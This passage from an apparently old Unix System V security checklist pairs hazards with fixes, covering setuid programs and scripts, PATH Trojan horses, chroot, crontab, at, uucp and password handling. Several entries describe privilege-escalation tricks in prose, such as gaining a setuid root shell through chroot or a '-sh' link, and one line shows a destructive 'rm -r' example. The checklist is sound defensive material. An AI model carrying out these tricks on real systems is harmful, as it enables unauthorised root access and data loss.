Solution: Deny write access to public directories except
where the need exists (such as /tmp).
* CONFIGURATION FILES: Certain files must be owned by root (or
package owners, like news or lp) and unwritable by the public,
including /etc/inittab, /etc/rc, /etc/passwd, /etc/group,
/etc/profile, /usr/lib/crontab, and the super-user's .profile.
Solution: Deny access to sensitive files except where the
need exists.
* COMMAND PATHS: Shell scripts, and programs which use exec(2),
may be violated by Trojan horses when run by the super-user or
other users. In particular, a user might call a setuid
program with a bogus PATH variable exported.
Solution: All shell scripts and certain programs should set
their own PATH before running any commands, or use explicit
(absolute) paths, and/or require that they themselves are
invoked using absolute paths (like /bin/su).
* PRIVILEGED-USER PATHS: If the super-user's (or any user's)
PATH variable includes "." or a null field (for "current
directory"), and the user changes to a non-secure directory,
he might unknowingly run a Trojan horse program named the same
as a standard command. This program might create a
setuid/setgid shell and then remove itself.
Solutions: Avoid "current directory" in $PATH. Some commands
should require that they be in invoked with absolute paths.
Keep the file system sufficiently secure that non-privileged
users cannot plant Trojan horses in libraries or commands.
Comment: One possibility is to have the shell check the
ownership of files before running them. If a command is found
in a directory in PATH which does not start with "/", and if
it is not owned by the user who is trying to run it, give an
error (forcing the user to type "./" to run it).
* SETUID (SUID) COMMANDS: Programs owned by root (or a
privileged group) and set to run as super-user (or other users
or groups) can lead to trouble by allowing shell escape to
privileged shells, appending to protected files, dumping
writable, setuid core files, etc. In particular, mount(1) is
dangerous to set to 4555 if the system has a removable mass
storage device, as users can mount volumes containing
super-user shells.
Solution: Minimize use of setuid/setgid. Deny access to
setuid/setgid programs except where the need exists and the
program has been checked for holes. Be sure all setuid/setgid
commands are not writable. Be able to account for all
setuid/setgid programs on the system (and/or check for them
periodically). Programs must do setuid(getuid()) and
setgid(getgid()) before doing a shell escape. Chown(2) must
turn off set bits when ownership is changed.
* SETUID (SUID) SCRIPTS: Files which begin with "#! command",
for direct execution of command by exec(2), and which are
setuid or setgid, may be tricked through unforeseen side
effects of running "command". For example, if the script is a
readable shell script ("#! /bin/sh"), it can be linked by
anyone to a file named "-sh", or merely exec'd with an arg1 of
"-sh". The shell runs setuid, but the leading "-" in the name
causes it to read /etc/profile, and (worse) the user's
.profile, when starting up. (On BSD4.2, if the name is "-",
you get an interactive prompt.)
Solutions: Disallow setuid/setgid script execution by
exec(2), or disallow linking to such files (is this
sufficient?), or modify all potentially scripted commands to
avoid this problem. (Note: Only commands which understand
"#"-style comments are even candidates for scripting.)
* TERMINAL ACCESS: An unattended, logged-in terminal is asking
for trouble. A terminal whose special file is readable by
other users is subject to having data stolen.
Solutions: Log out or lock (using internal command lock(1))
any terminal not in use. Do not make your terminal's special
file readable by the public.
* "PARKED" TROJAN HORSES: In addition to libraries or commands
left in a file system where a privileged user/group might
accidentally use them, pirates can leave programs running on
"idle" terminals which simulate login, su, or other commands.
Solution: Don't trust an idle terminal. Especially, don't
fall for an obvious swindle, such as "Login incorrect" or
"}ls: not found" when you think you did not mistype. Be sure
the login command in particular is not generally executable,
so login emulators must "fail login".
* DIAL-IN ACCESS: Dial-in lines are potential holes.
Solutions: Keep phone numbers as private as possible. Set
getty to hang up in a short time. Add "external security"
passwords to getty (rewrite it). Limit logins on external
lines by using /etc/securetty. Use new logging features of
login(1).
* ALL USERS HAVE PASSWORDS: Any user without a password is
subject to having another user login or su to their identity.
Solution: Insure that all users have passwords, even
pseudo-users like "who" and "sync", just in case su -c allows
dangerous actions. If necessary, put "*" in the password
field in /etc/passwd to make it impossible to login or su to
that user. Or, deny access to the su command.
* ALL GROUPS ARE SECURE: The newgrp command allows changing
group identity in a manner similar to su, except that if a
group has no password, only users in the group's list can
newgrp to it.
Solution: Insure that all groups have correct user lists,
and/or all groups have dummy ("*") or real passwords, and/or
disable the newgrp command. (Putting a real password on a
group opens it up to anyone, which can actually reduce
security.)
* GOOD PASSWORDS USED: Bad passwords can lead to easy violation
of security.
Solutions: Don't use permutations of username, nor people's
real names, nor easy-to-guess personal data. Use long
passwords not in any dictionary; mix in uppercase, digits, and
other characters. Don't re-use old passwords. Change
passwords periodically. Educate system users. Also, do not
disable accounts after N bad login attempts; this just makes
it easier for pirates to lock out system administrators.
Comments: System V.2 passwd(1) improves the situation. Do
NOT use the password timeout facility (see passwd(1)) because
(1) it leads to fast selection of bad passwords, (2) it leaves
users unable to change again fast, (3) users still only need
to have two different passwords, and (4) pirates can easily
find abandoned accounts.
* HIDE PASSWORDS: Pirates are at an advantage if they can copy
your password file and it contains valid (encrypted)
passwords.
Solutions: Make it impossible to copy it with uucp. Keep
real passwords in a different file and put fake ones in
/etc/passwd (but this requires changes to many system
libraries and commands, so probably should not be attempted
on-site; it should be standardized).
* RSH: Restricted shells are impossible to do completely right.
Solution: Use them as a deterrent on accounts where needed
but do not depend on them alone to guarantee security.
* CHROOT: The chroot(1) command and chroot(2) system call are
normally executable by super-user only. If an ordinary user
could chroot to a sub-file-system, they could create a small
directory structure with a dummy /etc/passwd, make a copy of
/bin/su and /bin/sh therein, chroot, su, then make the copy of
sh setuid to super-user for later use.
Solution: Restrict access to the chroot command. Make all
setuid/setgid programs, such as su, unreadable (which does
not, unfortunately, prevent linking to them).
* CRONTAB: The path to /usr/lib/crontab must be secure, and the
file itself, plus all parts of the paths to all files it
invokes, including the files themselves, plus all files they
in turn invoke. All such files (scripts or programs) are run
by cron as super-user, so they must not be replaceable by
Trojan horses.
Solutions: Check crontab very carefully on occasion. Keep it
unreadable by the public. Use su -c (and/or newgrp) in
crontab before running commands (e.g. 'exec su news -c "exec
notedemon.day"'), so as to minimize processes run
automatically as root, or do not run cron at all (unlikely).
Comment: A shell script (cronck) exists which helps do a
limited check on crontab.
* AT(1) COMMAND: The at command is easy to violate by doing
chmod to super-user on a spooled shell script. The atrun
demon then runs the script as its owner.
Solution: It's possible to protect /usr/spool/at to be
unwritable, and setuid the at and atrun commands, but this may
not be sufficient. Or, don't run atrun from crontab, e.g.
disable the at(1) facility.
Comment: System V.2 at(1) corrects this.
* MAILERS: Mailers, and other programs which can save files,
might let users modify /etc/passwd by appending to it,
especially if they run setuid/setgid. Also, some mailers have
a bad habit of prepending a "From" line containing the name of
the process owner, who is an innocent bystander, to mail
passing through the system, thus revealing the name of at
least one user on the system. Also, some mailers use LOGNAME
as the name of the sender.
Solutions: Such programs must not modify non-owned files.
Avoid running such programs setuid/setgid if possible. Keep
sensitive files protected. Don't reveal random usernames in
mailer programs, and don't use LOGNAME.
* CRYPT COMMAND/LIBRARY: The encryption used is not as hard to
break as once thought (see the Bell System Technical Journal,
Volume 63, Number 8, Part 2).
Solutions: Do not leave any cleartext around; it helps break
the key if found. Don't use same the key as your password.
Simple double-crypting or pre-ORing with patterns don't help;
packing or otherwise re-distributing the data does.
* UUCP CONFIGURATION: Most files in /usr/spool/uucp are
publicly readable by default. If uucp owns certain other
files, such as demons, and the uucp password is well known,
users can use su -c to mess with the demons. The COMMANDS and
USERFILE files must be properly constructed. The L.sys file
contains private information like phone numbers. DIALLOG
contains phone numbers.
Solutions: Hide (protect) /usr/spool/uucp if necessary, to
keep mail and other transactions secret and avoid changes to
them. Have all uucp logins be for users other than uucp (such
as remote system names) so people knowing those passwords
can't dork with uucp-owned files, and keep the uucp password
itself a secret. Insure that COMMANDS and USERFILE are
protected (including the path to them), and that they are
conservative (limit access except as required). Insure that
L.sys is owned by uucp and not generally readable. By default
DIALLOG is protected; no action is necessary.
* BTMP AND SULOG FILES: If these files exist, login(1) and
su(1), respectively, use them to log failed login attempts and
all su attempts. Only usernames are logged in btmp, not
passwords, but on occasion a user might type their password in
to the login prompt. Also, sulog can help a pirate found out
who system administrators are.
Solution: Be sure /usr/adm/btmp and /usr/adm/sulog are only
readable/writable by the super-user, and the path to them is
secure. Long-term, perhaps login(1) and su(1) should chmod
the file if necessary. (Note that smart pirates will never
use su themselves, anyway.)
* DATA NOT ENCRYPTED: Sensitive data lives on a disc shared
with other files and other people. File system problems can
(in the worst case) make such data public.
Solution: Encrypt sensitive data, or keep it on private
media.
* USE QUOTED HERE DOCUMENTS: Unquoted shell "here" documents
(see sh(1)) can cause trouble. For example, if the line "rm
-r $x/dir" appears, but $x is not set until the script is
executed, the file system could be injured.
Solution: Quote all here documents, especially those which
are shell scripts or at(1) input, unless there is a good
reason not to so do.
================